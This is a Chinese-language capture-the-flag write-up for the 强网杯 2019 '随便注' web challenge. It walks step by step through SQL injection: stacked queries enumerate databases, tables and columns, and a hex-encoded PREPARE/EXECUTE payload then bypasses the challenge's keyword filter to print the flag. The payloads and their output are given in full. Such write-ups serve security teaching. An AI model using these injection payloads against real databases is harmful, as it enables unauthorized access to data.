[强网杯 2019]随便注

题目链接

考点分析

本道题涉及sql注入相关知识

知识链接

https://blog.csdn.net/qq_44159028/article/details/114325805

解题步骤

(1) 测试注入点

输入 1' or 1=1 # 成功运行 => 发现存在sql注入漏洞
注意:“#”用于注释掉后面的语句(网站本身自带的后引号('))

(2) 报数据库

尝试堆叠注入 (以分号隔开多个语句一次性执行)
输入 1';show databases;#
返回

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

爆数据库成功

(3) 爆表

输入 1';show tables;#
返回

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

报表成功

(4) 寻找 flag

方法:
显示表单: 1’;show columns from 表名;#
注意: 当表名为数字时应该使用``包裹 如:1';show columns from `1919810931114514`;#

在数据库中一番 摸爬滚打 后终于发现flag
输入1';show columns from `1919810931114514`;#
返回

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

(5) 决胜关键

输入 1';select * from `1919810931114514`;#
返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

失败 Failed

发现题目过滤了关键字select,update,delete,drop,insert,where

卷土重来

通过预处理编码转换绕过
select * from `1919810931114514 十六进制编码
得到

0x73656c656374202a2066726f6d20603139313938313039333131313435313460
//手动添加0x

构造payload1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

成功得到flag

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(42) "flag{d7051a86-2a3b-4ddf-ab41-4c345abb6a94}"
}

你可能感兴趣的:(CTF,web安全)